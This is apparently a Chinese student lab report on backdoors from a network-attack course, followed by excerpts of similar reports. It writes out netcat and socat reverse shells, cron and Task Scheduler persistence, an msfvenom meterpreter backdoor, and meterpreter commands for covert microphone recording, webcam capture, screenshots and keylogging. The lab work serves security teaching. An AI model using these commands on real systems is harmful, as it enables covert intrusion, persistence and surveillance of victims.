关键词：
一、实验操作步骤
1.Windows获得Linux Shell
ipconfig查询Windows主机IP地址
在Windows中输入win+r→cmd→cd→ncat目录文件→ncat.exe -l -p 4310（监听端口）
在Linux输入 nc 192.168.1.185 4311 -e /bin/sh连接上端口
Windows获得Linux shell，可运行任意指令。
2.Linux获得Windows Shell
查IP
Linux设置监听端口
Windows反弹连接
进制显示差异导致出现乱码。
3.使用nc传输数据
W监听端口4310，L反弹连接，进行字符传输
W监听窗口4310
L输出crontab -e 命令建立一项定时任务
选择vim basic
在最后添加代码
10 * * * * /bin/netcat 192.168.1.185 4311 -e /bin/sh 保存退出
5..使用socat获取主机操作Shell, 任务计划启动
控制面板->系统和安全->管理工具->任务计划，新建一个任务。
新建触发器设定开始任务为“工作站锁定时”。
在操作->程序或脚本中选择你的socat.exe文件的路径，在添加参数一栏填写tcp-listen:4311 exec:cmd.exe,pty,stderr，这个命令的作用是把cmd.exe绑定到端口4311，同时把cmd.exe的stderr重定向到stdout上：
创建后运行。
L输入指令 socat - tcp:192.168.1.185:4311。发现成功获得W Shell。
6.使用MSF meterpreter生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell
L输入指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.199 LPORT=4311 -f exe > 20154311_backdoor.exe 生成后门程序
在Linux上使用 msfconsle 指令进入msf控制台，使用监听模块，设置payload，设置反弹回连的IP和端口
设置完成后，执行监听指令 exploit 。
打开windows上的后门程序20154310_backdoor.exe。
执行 record_mic 指令录制一段音频。
使用 webcam_snap 指令可以使用摄像头进行拍照。
执行 screenshot 指令可以进行截屏。
执行 keyscan_strat 指令开始记录下击键的过程，执行 keyscan_dump 指令读取击键的记录。
二、心得体会
四、心得体会
这次实验的难度整体来说比上一次可以说是稍难一些，在理解和实际操作的时候也更困难一点。不过当大部分理解并完成操作以后还是很有成就感的。虽然是模拟攻击，但还是让人有些后怕，自己的计算机只要连上了某个节点就会轻易得被留下后门，攻击者就能随意监视我甚至动用我的摄像头拍摄我的生活起居，想想还真是可怕。所以我们在日常操作中应该更加谨慎，绝不浏览危险网址，防止个人信息泄露。这是我学习这门课程以来的最大心得。
后门原理与实践(代码片段)
后门就是不经过正常认证流程而访问系统的通道。后门的实现就像是有个间谍能够在我们需要访问系统时为我们开门，我们往往希望后门有隐蔽性和自发性（能自己打开提供通道）。下面通过实际操作介绍几个常用后门工具。环... 查看详情
exp2后门原理与实践(代码片段)
...标与内容 1.学习内容 使用nc实现win，mac,Linux间的后门连接meterpreter的应用MSFPOST模块的应用 2.学习目标 学习建立一个后门连接，并了解其中的知识点，同时熟悉后门连接的功能。通过亲手实践并了解这一事实，提高... 查看详情
20154322杨钦涵exp2后门原理与实践(代码片段)
Exp2后门原理与实践Exp2后门原理与实践一、基础问题回答1、例举你能想到的一个后门进入到你系统中的可能方式？从网上下载软件时，可能会下载到其它附带捆绑软件，而这些软件可能就有后门程序。在安装时，便一起安装了。... 查看详情
20155305《网络对抗》后门原理与实践(代码片段)
20155305《网络对抗》后门原理与实践实验过程（基本后门工具实践）1、Win获取Linuxshell(1)Win在cmd.exe中使用ipconfig命令查看主机的IP。(2)Win下载老师的下载地址比较方便、解压ncat压缩包，在cmd中进入ncat文件夹中，使用ncat.exe-l-p5305命... 查看详情
20145311王亦徐《网络对抗技术》后门原理与实践
20145311王亦徐《网络对抗技术》后门原理与实践实验内容使用netcat、socat获取主机操作Shell，并分别设置cron启动与任务计划启动使用MSFmeterpreter生成后门的可执行文件，并利用ncat或socat传送给主机，接着运行文件获取目标主机的音... 查看详情
exp2后门原理与实践20154302薛师凡
...、实践目标与内容1.学习内容使用nc实现win，mac,Linux间的后门连接meterpreter的应用MSFPOST模块的应用2.学习目标学习建立一个后门连接，并了解其中的知识点，同时熟悉后门连接的功能。通过亲手实践并了解这一事实，提高自己的安... 查看详情
20155216exp2后门原理与实践(代码片段)
后门原理与实践常用后门工具NC或netcatnetcat是一个底层工具，进行基本的TCPUDP数据收发。常被与其他工具结合使用，起到后门的作用。Linux:一般自带netcat,"mannetcat"或"mannc"可查看其使用说明。Win获得LinuxShell1、windows打开监听先解压... 查看详情
后门原理与实践
一、实验操作步骤1.Windows获得LinuxShellipconfig查询Windows主机IP地址在Windows中输入win+r→cmd→cd→ncat目录文件→ncat.exe-l-p4310（监听端口）在Linux输入nc192.168.1.1854311-e/bin/sh连接上端口 Windows获得Linuxshell，可运行任意指令。 2.Linu... 查看详情
exp2后门原理与实践20154317
实验二：后门原理与实践实验要求：使用netcat获取主机操作Shell，cron启动。使用socat获取主机操作Shell,任务计划启动。使用MSFmeterpreter生成可执行文件，利用ncat或socat传送到主机使用MSFmeterpreter... 查看详情
20155312张竞予exp2后门原理与实践(代码片段)
Exp2后门原理与实践目录基础问题回答(1)例举你能想到的一个后门进入到你系统中的可能方式？(2)例举你知道的后门如何启动起来(win及linux)的方式？(3)Meterpreter有哪些给你映像深刻的功能？(4)如何发现自己有系统有没有被安装后... 查看详情
#20155235《网络攻防》实验二后门原理与实践(代码片段)
20155235《网络攻防》实验二后门原理与实践实验目的建立一个后门连接是如此的简单，功能又如此强大。通过亲手实践并了解这一事实，从而提高自己的安全意识。实验内容(1)使用netcat获取主机操作Shell，cron启动(2)使用socat获取... 查看详情
exp2后门原理与实践20155113徐步桥
Exp2后门原理实践1.实验目标使用netcat获取主机操作Shell，cron启动使用socat获取主机操作Shell,任务计划启动使用MSFmeterpreter（或其他软件）生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell使用MSF使用meterpreter（或其他... 查看详情
exp2：后门原理与实践(代码片段)
Exp2：后门原理与实践1实践目标任务一：使用netcat获取主机操作Shell，cron启动(0.5分)任务二：使用socat获取主机操作Shell,任务计划启动(0.5分)任务三：使用MSFmeterpreter（或其他软件）生成可执行文件，利用ncat或socat传送到主机并运... 查看详情
20192204exp2-后门原理与实践(代码片段)
实验基础本次实验需要我们掌握后门的基础知识，学习使用nc实现Windows，Linux之间的后门连接，学习使用Metaspolit的msfvenom指令生成简单的后门程序，学会MSFPOST模块的应用。基础知识后门的概念后门就是不经过正常认证流程而访问... 查看详情
20145317彭垚《网络对抗》exp2后门原理与实践
20145317彭垚《网络对抗》Exp2后门原理与实践基础问题回答例举你能想到的一个后门进入到你系统中的可能方式？在网上下载软件的时候，后门很有可能被捆绑在下载的软件当中；例举你知道的后门如何启动起来(win及linux)的方式... 查看详情
20155338《网络对抗》exp2后门原理与实践
20155338《网络对抗》Exp2后门原理与实践一、基础问题（1）例举你能想到的一个后门进入到你系统中的可能方式？答：游览网站中附带的广告或弹出的不正规软件。（2）例举你知道的后门如何启动起来(win及linux)的方式？答：1．... 查看详情
20155218《网络对抗》exp2后门原理与实践(代码片段)
20155218《网络对抗》Exp2后门原理与实践常用后门工具实践1.Windows获得LinuxShell:在Windows下，先使用ipconfig指令查看本机IP,使用ncat.exe程序监听本机的5218端口,在Kali环境下，使用nc指令的-e选项反向连接Windows主机的5218端口,Windows下成功... 查看详情
exp2后门原理与实践20164315李华阳(代码片段)
1.后门概念 后门就是不经过正常认证流程而访问系统的通道。 常见的留后门位置有编译器留后门、操作系统留后门、最常见的当然还是应用程序中留后门、还有就是潜伏于操作系统中或伪装为特定应用的专用后门程... 查看详情